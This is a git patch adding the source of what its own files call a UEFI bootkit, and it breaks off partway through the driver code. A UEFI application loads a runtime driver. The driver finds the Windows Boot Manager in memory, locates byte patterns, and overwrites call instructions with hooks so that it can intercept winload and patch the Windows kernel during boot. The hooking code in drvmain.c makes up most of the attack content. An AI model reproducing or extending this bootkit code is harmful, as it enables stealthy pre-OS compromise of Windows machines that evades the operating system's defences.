From f6de1093c102ff35bb781abccabcb6622a6b281e Mon Sep 17 00:00:00 2001 From: dude719 Date: Thu, 3 Nov 2016 02:44:52 -0300 Subject: [PATCH] Add project files. --- UefiApplication/UefiApplication.vcxproj | 39 + .../UefiApplication.vcxproj.filters | 27 + UefiApplication/imageldr.c | 23 + UefiApplication/imageldr.h | 7 + UefiApplication/main.c | 147 + UefiDriver/UefiDriver.vcxproj | 78 + UefiDriver/UefiDriver.vcxproj.filters | 104 + UefiDriver/drv.h | 91 + UefiDriver/drvmain.c | 289 + UefiDriver/drvname.c | 111 + UefiDriver/drvpnp.c | 331 + UefiDriver/drvproto.h | 18 + UefiDriver/hook.asm | 145 + UefiDriver/hook.h | 23 + UefiDriver/imageldr.c | 23 + UefiDriver/imageldr.h | 7 + UefiDriver/pe.c | 24 + UefiDriver/pe.h | 16 + UefiDriver/pestructs.h | 453 + UefiDriver/udis86/._INSTALL | Bin 0 -> 222 bytes UefiDriver/udis86/INSTALL | 234 + UefiDriver/udis86/Makefile.am | 38 + UefiDriver/udis86/Makefile.in | 870 + UefiDriver/udis86/README | 91 + UefiDriver/udis86/aclocal.m4 | 1038 ++ UefiDriver/udis86/config.h.in | 71 + UefiDriver/udis86/configure | 15030 ++++++++++++++++ UefiDriver/udis86/configure.ac | 83 + UefiDriver/udis86/docs/Makefile.am | 2 + UefiDriver/udis86/docs/Makefile.in | 590 + UefiDriver/udis86/docs/manual/Makefile.am | 56 + UefiDriver/udis86/docs/manual/Makefile.in | 461 + UefiDriver/udis86/docs/manual/conf.py | 36 + UefiDriver/udis86/docs/manual/getstarted.rst | 57 + UefiDriver/udis86/docs/manual/index.rst | 27 + UefiDriver/udis86/docs/manual/libudis86.rst | 531 + .../udis86/docs/manual/static/udis86.css | 115 + UefiDriver/udis86/docs/manual/udis86.info | 848 + UefiDriver/udis86/libudis86/Makefile.am | 52 + UefiDriver/udis86/libudis86/Makefile.in | 692 + UefiDriver/udis86/libudis86/decode.c | 1232 ++ UefiDriver/udis86/libudis86/decode.h | 195 + UefiDriver/udis86/libudis86/extern.h | 105 + UefiDriver/udis86/libudis86/itab.c | 8401 +++++++++ UefiDriver/udis86/libudis86/itab.h | 678 + UefiDriver/udis86/libudis86/syn-att.c | 224 + UefiDriver/udis86/libudis86/syn-intel.c | 213 + UefiDriver/udis86/libudis86/syn.c | 207 + UefiDriver/udis86/libudis86/syn.h | 53 + UefiDriver/udis86/libudis86/types.h | 250 + UefiDriver/udis86/libudis86/udint.h | 89 + UefiDriver/udis86/libudis86/udis86.c | 478 + UefiDriver/udis86/m4/ax_compare_version.m4 | 177 + .../udis86/m4/ax_prog_sphinx_version.m4 | 60 + UefiDriver/udis86/m4/ax_prog_yasm_version.m4 | 60 + UefiDriver/udis86/m4/ax_with_prog.m4 | 67 + UefiDriver/udis86/m4/ax_with_python.m4 | 32 + UefiDriver/udis86/scripts/Makefile.am | 10 + UefiDriver/udis86/scripts/Makefile.in | 417 + UefiDriver/udis86/scripts/ud_itab.py | 369 + UefiDriver/udis86/scripts/ud_opcode.py | 243 + UefiDriver/udis86/scripts/ud_optable.py | 100 + UefiDriver/udis86/tests/Makefile.am | 98 + UefiDriver/udis86/tests/Makefile.in | 699 + UefiDriver/udis86/tests/asm/16/disp.asm | 6 + UefiDriver/udis86/tests/asm/16/test16.asm | 5 + UefiDriver/udis86/tests/asm/32/att.asm | 3 + UefiDriver/udis86/tests/asm/32/att.asm.Sref | 2 + UefiDriver/udis86/tests/asm/32/att.asm.ref | 2 + UefiDriver/udis86/tests/asm/32/corner.asm | 5 + UefiDriver/udis86/tests/asm/32/corner.asm.ref | 3 + UefiDriver/udis86/tests/asm/32/disp.asm | 6 + UefiDriver/udis86/tests/asm/32/disp.asm.Sref | 5 + .../udis86/tests/asm/32/invalid_seg.asm | 2 + .../udis86/tests/asm/32/invalid_seg.asm.ref | 1 + UefiDriver/udis86/tests/asm/32/obscure.asm | 12 + .../udis86/tests/asm/32/obscure.asm.ref | 11 + UefiDriver/udis86/tests/asm/32/reljmp.asm | 24 + UefiDriver/udis86/tests/asm/32/reljmp.asm.ref | 17 + UefiDriver/udis86/tests/asm/32/sext.asm | 23 + UefiDriver/udis86/tests/asm/32/sext.asm.ref | 18 + UefiDriver/udis86/tests/asm/32/test32.asm | 282 + .../udis86/tests/asm/64/amd/invalid.asm | 7 + .../udis86/tests/asm/64/amd/invalid.asm.ref | 2 + UefiDriver/udis86/tests/asm/64/branch.asm | 21 + UefiDriver/udis86/tests/asm/64/branch.asm.ref | 17 + UefiDriver/udis86/tests/asm/64/disp.asm | 7 + UefiDriver/udis86/tests/asm/64/disp.asm.Sref | 7 + UefiDriver/udis86/tests/asm/64/disp.asm.ref | 7 + .../udis86/tests/asm/64/intel/invalid.asm | 8 + .../udis86/tests/asm/64/intel/invalid.asm.ref | 2 + UefiDriver/udis86/tests/asm/64/reljmp.asm | 24 + UefiDriver/udis86/tests/asm/64/reljmp.asm.ref | 17 + UefiDriver/udis86/tests/asm/64/sext.asm | 19 + UefiDriver/udis86/tests/asm/64/sext.asm.ref | 15 + UefiDriver/udis86/tests/asm/64/test64.asm | 158 + UefiDriver/udis86/tests/bufoverrun.c | 17 + UefiDriver/udis86/tests/difftest.sh.in | 144 + UefiDriver/udis86/tests/installcheck.c | 18 + UefiDriver/udis86/tests/libcheck.c | 223 + UefiDriver/udis86/tests/oprgen.py | 755 + UefiDriver/udis86/tests/symresolve.c | 53 + UefiDriver/udis86/tests/symresolve.ref | 42 + UefiDriver/udis86/udcli/Makefile.am | 5 + UefiDriver/udis86/udcli/Makefile.in | 617 + UefiDriver/udis86/udcli/udcli.c | 273 + UefiDriver/udis86/udis86.h | 33 + UefiDriver/utils.c | 97 + UefiDriver/utils.h | 42 + bootkit.props | 81 + bootkit.sln | 27 + 111 files changed, 40500 insertions(+) create mode 100644 UefiApplication/UefiApplication.vcxproj create mode 100644 UefiApplication/UefiApplication.vcxproj.filters create mode 100644 UefiApplication/imageldr.c create mode 100644 UefiApplication/imageldr.h create mode 100644 UefiApplication/main.c create mode 100644 UefiDriver/UefiDriver.vcxproj create mode 100644 UefiDriver/UefiDriver.vcxproj.filters create mode 100644 UefiDriver/drv.h create mode 100644 UefiDriver/drvmain.c create mode 100644 UefiDriver/drvname.c create mode 100644 UefiDriver/drvpnp.c create mode 100644 UefiDriver/drvproto.h create mode 100644 UefiDriver/hook.asm create mode 100644 UefiDriver/hook.h create mode 100644 UefiDriver/imageldr.c create mode 100644 UefiDriver/imageldr.h create mode 100644 UefiDriver/pe.c create mode 100644 UefiDriver/pe.h create mode 100644 UefiDriver/pestructs.h create mode 100644 UefiDriver/udis86/._INSTALL create mode 100644 UefiDriver/udis86/INSTALL create mode 100644 UefiDriver/udis86/Makefile.am create mode 100644 UefiDriver/udis86/Makefile.in create mode 100644 UefiDriver/udis86/README create mode 100644 UefiDriver/udis86/aclocal.m4 create mode 100644 UefiDriver/udis86/config.h.in create mode 100644 UefiDriver/udis86/configure create mode 100644 UefiDriver/udis86/configure.ac create mode 100644 UefiDriver/udis86/docs/Makefile.am create mode 100644 UefiDriver/udis86/docs/Makefile.in create mode 100644 UefiDriver/udis86/docs/manual/Makefile.am create mode 100644 UefiDriver/udis86/docs/manual/Makefile.in create mode 100644 UefiDriver/udis86/docs/manual/conf.py create mode 100644 UefiDriver/udis86/docs/manual/getstarted.rst create mode 100644 UefiDriver/udis86/docs/manual/index.rst create mode 100644 UefiDriver/udis86/docs/manual/libudis86.rst create mode 100644 UefiDriver/udis86/docs/manual/static/udis86.css create mode 100644 UefiDriver/udis86/docs/manual/udis86.info create mode 100644 UefiDriver/udis86/libudis86/Makefile.am create mode 100644 UefiDriver/udis86/libudis86/Makefile.in create mode 100644 UefiDriver/udis86/libudis86/decode.c create mode 100644 UefiDriver/udis86/libudis86/decode.h create mode 100644 UefiDriver/udis86/libudis86/extern.h create mode 100644 UefiDriver/udis86/libudis86/itab.c create mode 100644 UefiDriver/udis86/libudis86/itab.h create mode 100644 UefiDriver/udis86/libudis86/syn-att.c create mode 100644 UefiDriver/udis86/libudis86/syn-intel.c create mode 100644 UefiDriver/udis86/libudis86/syn.c create mode 100644 UefiDriver/udis86/libudis86/syn.h create mode 100644 UefiDriver/udis86/libudis86/types.h create mode 100644 UefiDriver/udis86/libudis86/udint.h create mode 100644 UefiDriver/udis86/libudis86/udis86.c create mode 100644 UefiDriver/udis86/m4/ax_compare_version.m4 create mode 100644 UefiDriver/udis86/m4/ax_prog_sphinx_version.m4 create mode 100644 UefiDriver/udis86/m4/ax_prog_yasm_version.m4 create mode 100644 UefiDriver/udis86/m4/ax_with_prog.m4 create mode 100644 UefiDriver/udis86/m4/ax_with_python.m4 create mode 100644 UefiDriver/udis86/scripts/Makefile.am create mode 100644 UefiDriver/udis86/scripts/Makefile.in create mode 100644 UefiDriver/udis86/scripts/ud_itab.py create mode 100644 UefiDriver/udis86/scripts/ud_opcode.py create mode 100644 UefiDriver/udis86/scripts/ud_optable.py create mode 100644 UefiDriver/udis86/tests/Makefile.am create mode 100644 UefiDriver/udis86/tests/Makefile.in create mode 100644 UefiDriver/udis86/tests/asm/16/disp.asm create mode 100644 UefiDriver/udis86/tests/asm/16/test16.asm create mode 100644 UefiDriver/udis86/tests/asm/32/att.asm create mode 100644 UefiDriver/udis86/tests/asm/32/att.asm.Sref create mode 100644 UefiDriver/udis86/tests/asm/32/att.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/32/corner.asm create mode 100644 UefiDriver/udis86/tests/asm/32/corner.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/32/disp.asm create mode 100644 UefiDriver/udis86/tests/asm/32/disp.asm.Sref create mode 100644 UefiDriver/udis86/tests/asm/32/invalid_seg.asm create mode 100644 UefiDriver/udis86/tests/asm/32/invalid_seg.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/32/obscure.asm create mode 100644 UefiDriver/udis86/tests/asm/32/obscure.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/32/reljmp.asm create mode 100644 UefiDriver/udis86/tests/asm/32/reljmp.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/32/sext.asm create mode 100644 UefiDriver/udis86/tests/asm/32/sext.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/32/test32.asm create mode 100644 UefiDriver/udis86/tests/asm/64/amd/invalid.asm create mode 100644 UefiDriver/udis86/tests/asm/64/amd/invalid.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/64/branch.asm create mode 100644 UefiDriver/udis86/tests/asm/64/branch.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/64/disp.asm create mode 100644 UefiDriver/udis86/tests/asm/64/disp.asm.Sref create mode 100644 UefiDriver/udis86/tests/asm/64/disp.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/64/intel/invalid.asm create mode 100644 UefiDriver/udis86/tests/asm/64/intel/invalid.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/64/reljmp.asm create mode 100644 UefiDriver/udis86/tests/asm/64/reljmp.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/64/sext.asm create mode 100644 UefiDriver/udis86/tests/asm/64/sext.asm.ref create mode 100644 UefiDriver/udis86/tests/asm/64/test64.asm create mode 100644 UefiDriver/udis86/tests/bufoverrun.c create mode 100644 UefiDriver/udis86/tests/difftest.sh.in create mode 100644 UefiDriver/udis86/tests/installcheck.c create mode 100644 UefiDriver/udis86/tests/libcheck.c create mode 100644 UefiDriver/udis86/tests/oprgen.py create mode 100644 UefiDriver/udis86/tests/symresolve.c create mode 100644 UefiDriver/udis86/tests/symresolve.ref create mode 100644 UefiDriver/udis86/udcli/Makefile.am create mode 100644 UefiDriver/udis86/udcli/Makefile.in create mode 100644 UefiDriver/udis86/udcli/udcli.c create mode 100644 UefiDriver/udis86/udis86.h create mode 100644 UefiDriver/utils.c create mode 100644 UefiDriver/utils.h create mode 100644 bootkit.props create mode 100644 bootkit.sln diff --git a/UefiApplication/UefiApplication.vcxproj b/UefiApplication/UefiApplication.vcxproj new file mode 100644 index 0000000..9b68bbd --- /dev/null +++ b/UefiApplication/UefiApplication.vcxproj @@ -0,0 +1,39 @@ + + + + + Release + x64 + + + + {79D78FD5-8F41-442F-944E-81774DC9DF39} + Application + false + v140 + true + + + + + + + + + UefiApplicationEntryPoint.lib;%(AdditionalDependencies) + EFI Application + + + copy /Y "$(TargetDir)$(TargetName).efi" "G:\efi\boot\bootx64.efi" + copy /Y "$(TargetDir)$(TargetName).efi" "G:\efi\boot\bootx64.efi" + + + + + + + + + + + \ No newline at end of file diff --git a/UefiApplication/UefiApplication.vcxproj.filters b/UefiApplication/UefiApplication.vcxproj.filters new file mode 100644 index 0000000..713d075 --- /dev/null +++ b/UefiApplication/UefiApplication.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + src + + + src + + + src + + + + + {ec1e3a7f-36df-44fc-bc0a-f8c440f0ca09} + + + {8d73de3e-b0e4-4e27-85bd-0f93f438fbaf} + + + + + include + + + \ No newline at end of file diff --git a/UefiApplication/imageldr.c b/UefiApplication/imageldr.c new file mode 100644 index 0000000..cc68bf4 --- /dev/null +++ b/UefiApplication/imageldr.c @@ -0,0 +1,23 @@ +#include "imageldr.h" + +#include +#include +#include + +EFI_STATUS ImageLoad( IN EFI_HANDLE ParentHandle, IN EFI_DEVICE_PATH* DevicePath, OUT EFI_HANDLE* ImageHandle ) +{ + EFI_STATUS status = EFI_NOT_FOUND; + // Load image in memory + status = gBS->LoadImage( TRUE, ParentHandle, DevicePath, NULL, 0, ImageHandle ); + if (status != EFI_SUCCESS) + { + Print( L"[!] LoadImage error = %X\r\n", status ); + } + + return status; +} + +EFI_STATUS ImageStart( IN EFI_HANDLE ImageHandle ) +{ + return gBS->StartImage( ImageHandle, (UINTN *)NULL, (CHAR16 **)NULL ); +} diff --git a/UefiApplication/imageldr.h b/UefiApplication/imageldr.h new file mode 100644 index 0000000..70e39b9 --- /dev/null +++ b/UefiApplication/imageldr.h @@ -0,0 +1,7 @@ +#pragma once + +#include + +EFI_STATUS ImageLoad( IN EFI_HANDLE ParentHandle, IN EFI_DEVICE_PATH* DevicePath, OUT EFI_HANDLE* ImageHandle ); + +EFI_STATUS ImageStart( IN EFI_HANDLE ImageHandle ); \ No newline at end of file diff --git a/UefiApplication/main.c b/UefiApplication/main.c new file mode 100644 index 0000000..2f6a9d4 --- /dev/null +++ b/UefiApplication/main.c @@ -0,0 +1,147 @@ +// +// Basic UEFI Libraries +// +#include +#include +#include +#include + +// +// Boot and Runtime Services +// +#include +#include +#include + +// +// Protocols +// +#include + +// +// Custom Driver Protocol +// +#include "../UefiDriver/drvproto.h" +EFI_GUID gEfiSampleDriverProtocolGuid = EFI_RUNTIME_DRIVER_PROTOCOL_GUID; + +// +// My includes +// +#include "imageldr.h" + +// +// Globals +// + +// We run on any UEFI Specification +extern CONST UINT32 _gUefiDriverRevision = 0; +// Our name +CHAR8 *gEfiCallerBaseName = "UefiApplication"; +// Windows Boot Manager x64 image path +static CHAR16 *gRuntimeDriverImagePath = L"\\EFI\\Boot\\rtdriver.efi"; + +// +// Try to find gWindowsBootX64ImagePath by browsing each device +// +EFI_STATUS LocateFile( IN CHAR16* ImagePath, OUT EFI_DEVICE_PATH** DevicePath ) +{ + EFI_FILE_IO_INTERFACE *ioDevice; + EFI_FILE_HANDLE handleRoots, bootFile; + EFI_HANDLE* handleArray; + UINTN nbHandles, i; + EFI_STATUS efistatus; + + *DevicePath = (EFI_DEVICE_PATH *)NULL; + efistatus = gBS->LocateHandleBuffer( ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &nbHandles, &handleArray ); + if (EFI_ERROR( efistatus )) + return efistatus; + + Print( L"\r\nNumber of UEFI Filesystem Devices: %d\r\n", nbHandles ); + + for (i = 0; i < nbHandles; i++) + { + efistatus = gBS->HandleProtocol( handleArray[i], &gEfiSimpleFileSystemProtocolGuid, &ioDevice ); + if (efistatus != EFI_SUCCESS) + continue; + + efistatus = ioDevice->OpenVolume( ioDevice, &handleRoots ); + if (EFI_ERROR( efistatus )) + continue; + + efistatus = handleRoots->Open( handleRoots, &bootFile, ImagePath, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY ); + if (!EFI_ERROR( efistatus )) + { + handleRoots->Close( bootFile ); + *DevicePath = FileDevicePath( handleArray[i], ImagePath ); + Print( L"\r\nFound file at \'%s\'\r\n", ConvertDevicePathToText( *DevicePath, TRUE, TRUE ) ); + break; + } + } + + return efistatus; +} + +EFI_STATUS EFIAPI UefiMain( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE* SystemTable ) +{ + EFI_STATUS efiStatus; + EFI_RUNTIME_DRIVER_PROTOCOL* RuntimeProtocol; + EFI_DEVICE_PATH* RuntimeDriverDevicePath = NULL; + EFI_HANDLE RuntimeDriverHandle = NULL; + + // + // Print stuff out + // + Print( L"Hello World! My handle is %lx and System Table is at %p\n", ImageHandle, SystemTable ); + + // + // Locate the runtime driver + // + efiStatus = LocateFile( gRuntimeDriverImagePath, &RuntimeDriverDevicePath ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + // + // Load Runtime Driver into memory + // + efiStatus = ImageLoad( ImageHandle, RuntimeDriverDevicePath, &RuntimeDriverHandle ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + // + // Transfer executon to the Runtime Driver + // + efiStatus = ImageStart( RuntimeDriverHandle ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + // + // Check if the runtime driver is loaded + // + efiStatus = gBS->LocateProtocol( &gEfiSampleDriverProtocolGuid, NULL, &RuntimeProtocol ); + if (EFI_ERROR( efiStatus )) + goto Exit; + + // + // Print the value and exit + // + Print( L"Runtime driver is loaded: %lx\n", RuntimeProtocol->Value ); + efiStatus = EFI_SUCCESS; + +Exit: + if (efiStatus != EFI_SUCCESS) + { + ErrorPrint( L"UEFI Runtime Driver Loader failed with status: %lx\r\n", efiStatus ); + } + + return efiStatus; +} + + + +EFI_STATUS EFIAPI UefiUnload( IN EFI_HANDLE ImageHandle ) +{ + // + // This code should be compiled out and never called + // + ASSERT( FALSE ); +} diff --git a/UefiDriver/UefiDriver.vcxproj b/UefiDriver/UefiDriver.vcxproj new file mode 100644 index 0000000..b12e3c1 --- /dev/null +++ b/UefiDriver/UefiDriver.vcxproj @@ -0,0 +1,78 @@ + + + + + Release + x64 + + + + {DF325AB7-67A6-473E-93FF-16955AFBC063} + Win32Proj + v140 + Application + false + true + Unicode + + + + + + + + $(EDK_PATH)\MdePkg\Include;$(EDK_PATH)\MdePkg\Include\X64;$(IncludePath) + + + + + + + UefiDriverEntryPoint.lib;BaseCryptLib.lib;IntrinsicLib.lib;%(AdditionalDependencies) + EFI Runtime + + + copy /Y "$(TargetDir)$(TargetName).efi" "G:\efi\boot\rtdriver.efi" + + + copy /Y "$(TargetDir)$(TargetName).efi" "G:\efi\boot\rtdriver.efi" + + + __UD_STANDALONE__;_UNICODE;UNICODE;%(PreprocessorDefinitions) + 4706;4055;4054 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/UefiDriver/UefiDriver.vcxproj.filters b/UefiDriver/UefiDriver.vcxproj.filters new file mode 100644 index 0000000..3c8fc8e --- /dev/null +++ b/UefiDriver/UefiDriver.vcxproj.filters @@ -0,0 +1,104 @@ + + + + + src + + + src + + + src + + + src + + + src\udis86 + + + src\udis86 + + + src\udis86 + + + src + + + src + + + src\udis86 + + + src\udis86 + + + src\udis86 + + + src + + + + + include\udis86 + + + include\udis86 + + + include\udis86 + + + include\udis86 + + + include\udis86 + + + include\udis86 + + + include + + + include + + + include\udis86 + + + include + + + include + + + include + + + include + + + + + {53d6ef03-38de-42b6-98a7-be4995765f1a} + + + {2a260963-9c87-4302-a8e0-cb9c63d5f4d9} + + + {15de1be8-845c-4c4a-96b6-94168d6b0955} + + + {6870edff-c3a7-4b92-b333-71f1f7a77f76} + + + + + src + + + \ No newline at end of file diff --git a/UefiDriver/drv.h b/UefiDriver/drv.h new file mode 100644 index 0000000..099ddad --- /dev/null +++ b/UefiDriver/drv.h @@ -0,0 +1,91 @@ +// +// Basic UEFI Libraries +// +#include +#include +#include +#include + +// +// Boot and Runtime Services +// +#include +#include + +// +// PCI Protocol +// +#include +#include + +// +// Custom Driver Protocol +// +#include "drvproto.h" + +// +// Device Extension for our Device +// +#define DEVICE_EXTENSION_SIGNATURE SIGNATURE_32('R','T','D','R') +#define DEVICE_EXTENSION_FROM_PROTOCOL(a) CR(a, DEVICE_EXTENSION, DeviceProtocol, DEVICE_EXTENSION_SIGNATURE) +typedef struct _DEVICE_EXTENSION +{ + UINTN Signature; + EFI_RUNTIME_DRIVER_PROTOCOL DeviceProtocol; + EFI_HANDLE DeviceHandle; + EFI_PCI_IO_PROTOCOL* PciIo; +} DEVICE_EXTENSION, *PDEVICE_EXTENSION; + +// +// Name Routines +// +EFI_STATUS +EFIAPI +RuntimeComponentNameGetControllerName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN EFI_HANDLE ControllerHandle, + IN EFI_HANDLE ChildHandle OPTIONAL, + IN CHAR8 *Language, + OUT CHAR16 **ControllerName +); + +EFI_STATUS +EFIAPI +RuntimeComponentNameGetDriverName ( + IN EFI_COMPONENT_NAME_PROTOCOL *This, + IN CHAR8 *Language, + OUT CHAR16 **DriverName +); + +// +// PnP Routines +// +EFI_STATUS +EFIAPI +RuntimeDriverSupported ( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +); + +EFI_STATUS +EFIAPI +RuntimeDriverStart ( + IN EFI_DRIVER_BINDING_PROTOCOL *This, + IN EFI_HANDLE Controller, + IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath +); + +EFI_STATUS +EFIAPI +RuntimeDriverStop ( + IN EFI_DRIVER_BINDING_PROTOCOL* This, + IN EFI_HANDLE Controller, + IN UINTN NumberOfChildren, + IN EFI_HANDLE* ChildHandleBuffer +); + +extern EFI_DRIVER_BINDING_PROTOCOL gDriverBindingProtocol; +extern EFI_COMPONENT_NAME2_PROTOCOL gComponentName2Protocol; +extern EFI_COMPONENT_NAME_PROTOCOL gComponentNameProtocol; + diff --git a/UefiDriver/drvmain.c b/UefiDriver/drvmain.c new file mode 100644 index 0000000..fbc8b58 --- /dev/null +++ b/UefiDriver/drvmain.c @@ -0,0 +1,289 @@ +#include "drv.h" + +// +// Libraries +// +#include +#include + +// +// Protocols +// +#include + +// +// Our includes +// +#include "utils.h" +#include "pe.h" +#include "imageldr.h" +#include "hook.h" + +// +// We support unload (but deny it) +// +const UINT8 _gDriverUnloadImageCount = 1; + +// +// We require at least UEFI 2.0 +// +const UINT32 _gUefiDriverRevision = 0x200; +const UINT32 _gDxeRevision = 0x200; + +// +// Our name +// +CHAR8 *gEfiCallerBaseName = "UefiDriver"; + +// Title +static CHAR16 *gTitle = L"-= Dude719s UEFI bootkit Runtime Dirver =-\r\n"; +static CHAR16 *gWindowsBootX64ImagePath = L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi"; +static EFI_HANDLE gWindowsImagehandle; + + +//VOID EFIAPI hkOslArchTransferToKernel( VOID* KernelParams, VOID* KiSystemStartup ) +//{ +// // Clear the screen +// //gST->ConOut->ClearScreen( gST->ConOut ); +// //Print( L"KiSystemStartup = %lx\r\n", KiSystemStartup ); +// //UtilWaitForKey( ); +// +// OslArchTransferToKernelHook( KernelParams, KernelParams ); +// +// //oOslArchTransferToKernel( KernelParams, KiSystemStartup ); +//} + +// +// Our ImgArchEfiStartBootApplication hook which takes the winload Image Base as a parameter so we can patch the kernel +// +EFI_STATUS EFIAPI hkImgArchEfiStartBootApplication( VOID* Parameters, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, UINT64* SomeReturnValue ) +{ + PIMAGE_NT_HEADERS NtHdr = NULL; + + // Clear the screen + gST->ConOut->ClearScreen( gST->ConOut ); + + Print( L"Inside ImgArchEfiStartBootApplication\r\n" ); + + Print( L"ImageBase = %lx\r\n", ImageBase ); + Print( L"ImageSize = %lx\r\n", ImageSize ); + + NtHdr = ImageNtHeader( ImageBase ); + if (NtHdr != NULL) + { + EFI_STATUS EfiStatus = EFI_SUCCESS; + UINT8* Found = NULL; + + VOID* ArchpChildAppEntryRoutine = (VOID*)((UINT8*)ImageBase + HEADER_VAL_T( NtHdr, AddressOfEntryPoint )); + Print( L"ArchpChildAppEntryRoutine = %lx\r\n", ArchpChildAppEntryRoutine ); + + // Find right location to patch + EfiStatus = UtilFindPattern( sigOslArchTransferToKernel, 0xCC, sizeof( sigOslArchTransferToKernel ), ImageBase, (UINT32)ImageSize, (VOID**)&Found ); + if (!EFI_ERROR( EfiStatus )) + { + Print( L"Found OslArchTransferToKernel call at %lx\r\n", Found ); + + //Print( L"hkOslArchTransferToKernel at %lx\r\n", hkOslArchTransferToKernel ); + //UtilDisassembleCode( (UINT8*)hkOslArchTransferToKernel, (UINTN)hkOslArchTransferToKernel, 20 ); + oOslArchTransferToKernel = (tOslArchTransferToKernel)UtilCallAddress( Found ); + Print( L"Original OslArchTransferToKernel at %lx\r\n", oOslArchTransferToKernel ); + Print( L"OslArchTransferToKernelHook at %lx\r\n", &OslArchTransferToKernelHook ); + + // Backup original function bytes before patching + OslArchTransferToKernelPatchLocation = (VOID*)Found; + CopyMem( (VOID*)OslArchTransferToKernelBackup, (VOID*)Found, 5 ); + //Print( L"Backup:\r\n" ); + //UtilDisassembleCode( (UINT8*)Found, (UINTN)Found, 5 ); + + // Do patching + *(UINT8*)Found = 0xE8; + *(UINT32*)(Found + 1) = UtilCalcRelativeCallOffset( (VOID*)Found, (VOID*)&OslArchTransferToKernelHook ); //(UINT32)(((UINTN)&OslArchTransferToKernelHook) - ((UINTN)Found + 1 + sizeof( UINT32 ))); + + // Display patched code + //Print( L"Patched:\r\n" ); + //UtilDisassembleCode( (UINT8*)Found, (UINTN)Found, 5 ); + + Print( L"OslArchTransferToKernelHook:\r\n" ); + UtilDisassembleCode( (UINT8*)&OslArchTransferToKernelHook, (VOID*)&OslArchTransferToKernelHook, 20 ); + } + else + { + Print( L"\r\nImgArchEfiStartBootApplication error, failed to find SetOslEntryPoint patch location. Status: %lx\r\n", EfiStatus ); + } + } + + // Restore original bytes to call + CopyMem( ImgArchEfiStartBootApplicationPatchLocation, ImgArchEfiStartBootApplicationBackup, 5 ); + //Print( L"ImgArchEfiStartBootApplication original = %lx\r\n", oImgArchEfiStartBootApplication ); + //UtilDisassembleCode( (UINT8*)ImgArchEfiStartBootApplicationPatchLocation, (UINTN)ImgArchEfiStartBootApplicationPatchLocation, 8 ); + + Print( L"Press any key to continue..." ); + UtilWaitForKey( ); + + // Clear screen + gST->ConOut->ClearScreen( gST->ConOut ); + + return oImgArchEfiStartBootApplication( Parameters, ImageBase, ImageSize, BootOption, SomeReturnValue ); +} + +// +// Patch the Windows Boot Manager (bootmgfw.efi) +// +EFI_STATUS PatchWindowsBootManager( IN VOID* LocalImageBase, IN EFI_HANDLE BootMgrHandle ) +{ + EFI_STATUS EfiStatus = EFI_SUCCESS; + EFI_LOADED_IMAGE *BootMgrImage = NULL; + UINT8* Found = NULL; + + // Get Windows Boot Manager memory mapping data + EfiStatus = gBS->HandleProtocol( BootMgrHandle, &gEfiLoadedImageProtocolGuid, (void **)&BootMgrImage ); + if (EFI_ERROR( EfiStatus )) + { + ErrorPrint( L"\r\nPatchWindowsBootManager error, failed to get Loaded Image info. Status: %lx\r\n", EfiStatus ); + return EfiStatus; + } + + // Print Windows Boot Manager image info + UtilPrintLoadedImageInfo( BootMgrImage ); + + // Find right location to patch + EfiStatus = UtilFindPattern( + sigImgArchEfiStartBootApplicationCall, + 0xCC, + sizeof( sigImgArchEfiStartBootApplicationCall ), + BootMgrImage->ImageBase, + (UINT32)BootMgrImage->ImageSize, + (VOID**)&Found + ); + if (!EFI_ERROR( EfiStatus )) + { + // Found address, now let's do our patching + UINT32 NewCallRelative = 0; + + Print( L"Found ImgArchEfiStartBootApplication call at %lx\n", Found ); + + // Save original call + oImgArchEfiStartBootApplication = (tImgArchEfiStartBootApplication)UtilCallAddress( Found ); + // Backup original bytes and patch location before patching + ImgArchEfiStartBootApplicationPatchLocation = (VOID*)Found; + CopyMem( ImgArchEfiStartBootApplicationBackup, ImgArchEfiStartBootApplicationPatchLocation, 5 ); + // Patch call to jump to our hkImgArchEfiStartBootApplication hook + NewCallRelative = UtilCalcRelativeCallOffset( (VOID*)Found, (VOID*)&hkImgArchEfiStartBootApplication ); + //Found + *(UINT8*)Found = 0xE8; // Write call opcode + *(UINT32*)(Found + 1) = NewCallRelative; // Write the new relative call offset + } + else + { + ErrorPrint( L"\r\nPatchWindowsBootManager error, failed to find Archpx64TransferTo64BitApplicationAsm patch location. Status: %lx\r\n", EfiStatus ); + } + + return EfiStatus; +} + +// +// Try to find gWindowsBootX64ImagePath by browsing each device +// +EFI_STATUS LocateWindowsBootManager( EFI_DEVICE_PATH** LoaderDevicePath ) +{ + EFI_FILE_IO_INTERFACE *ioDevice; + EFI_FILE_HANDLE handleRoots, bootFile; + EFI_HANDLE* handleArray; + UINTN nbHandles, i; + EFI_STATUS efistatus; + + *LoaderDevicePath = (EFI_DEVICE_PATH *)NULL; + efistatus = gBS->LocateHandleBuffer( ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &nbHandles, &handleArray ); + if (EFI_ERROR( efistatus )) + return efistatus; + + Print( L"\r\nNumber of UEFI Filesystem Devices: %d\r\n", nbHandles ); + + for (i = 0; i < nbHandles; i++) + { + efistatus = gBS->HandleProtocol( 